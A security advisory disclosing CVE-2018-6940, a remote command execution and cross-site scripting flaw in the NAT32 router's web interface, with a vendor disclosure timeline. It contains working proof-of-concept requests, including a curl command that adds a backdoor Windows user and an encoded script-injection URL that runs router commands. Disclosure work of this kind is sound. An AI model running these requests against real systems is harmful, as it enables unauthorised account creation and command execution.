[+] Credits: hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/NAT32-REMOTE-COMMAND-EXECUTION-CVE-2018-6940.txt [+] ISR: Apparition Security [-_-] D1rty0tis Vendor: ============= www.nat32.com Product: ================= NAT32 Build (22284) NAT32 is a versatile IP Router implemented as a WIN32 application. Vulnerability Type: =================== Remote Command Execution CVE Reference: ============== CVE-2018-6940 Security Issue: ================ NAT32 listens on Port 8080 for its Web interface. C:\>netstat -ano | findstr 8080 TCP LISTENING 3720 If the 'Password Checking' (BASIC authentication) feature is NOT enabled (user must select it under config tab) then remote attackers who can reach NAT32 can potentially execute arbitrary commands, if authentication is enabled they will get 'Unauthorized' server reply, however, read on ... e.g. Add user account. C:\>curl "http://x.x.x.x:8080/shell?cmd=run+net+user+D1rty0Tis+abc123+/add"
run start net user D1rty0Tis abc123 /add Done
If NAT32 'Password Checking' feature IS enabled, remote attackers can STILL potentially issue arbitrary commands exploiting a Cross Site Scripting vulnerability in the HTTPD code of NAT32, if authenticated NAT32 users click a malicious link or visit an attacker controlled webpage. Also worth mentioning, NAT32 implements BASIC authentication which pass BASE64 Encoded credentials which can be easily revealed if sniffed on network. When 'Password Checking' is enabled attackers using Ajax calls via XSS would need to use a combination of '%0D%0A' and double encoding to deal with 'white-space' in order for the payload to stay intact. %25 for '%' sign then 20 (%2520) = %20, using %20 or %2B will not cut it, however '%0D%0A' (CRLF) and '%2520' encoding serves us well. NAT32 has an interesting Command 'EXECR' that can allow attackers to capture Command output response from the server to see right away if an attack was success or not. e.g. Add account and get response (EXECR) HTTP Response:
The command completed successfully.

execr net user D1rty0Tis abc123 /add Done
The NAT32 'winroute' Command will return host route information. XSS response e.g.
Destination    Mask              Nexthop      Metric IfIndex Type Proto Age        10       b    4     3 21:41 [min:sec]          306      1    3     3 22:04 [min:sec]          306      1    3     3 22:04 [min:sec]          306      1    3     3 22:04 [min:sec]
Exploit/POC: ============= NET32 Password Checking not enabled... C:\>curl "http://x.x.x.x:8080/shell?cmd=run+net+user+D1rty0Tis+abc123+/add" NAT32 BASIC authentication enabled use XSS... Add backdoor account and capture CMD output using NAT32 'execr' shell command. http://x.x.x.x:8080/shell?cmd= Get Windows Routes (info disclosure): http://x.x.x.x:8080/shell?cmd=%3Cscript%3Evar%0D%0Axhr=new%0D%0AXMLHttpRequest();xhr.onreadystatechange=function(){if(xhr.status==200){alert(xhr.responseText);}};xhr.open(%27GET%27,%27http://x.x.x.x:8080/shell?cmd=winroute%27,true);xhr.send(null);%3C/script%3E Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ============================= Vendor Notification: February 9, 2018 Vendor acknowledgement: February 9, 2018 Vendor "I've decided to remove the HTTPD code from Build 22284 of NAT32" : February 12, 2018 www.nat32.com website reads "NAT32 Version 2.2 Build 22284 is temporarily unavailable." : February 13, 2018 February 14, 2018 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx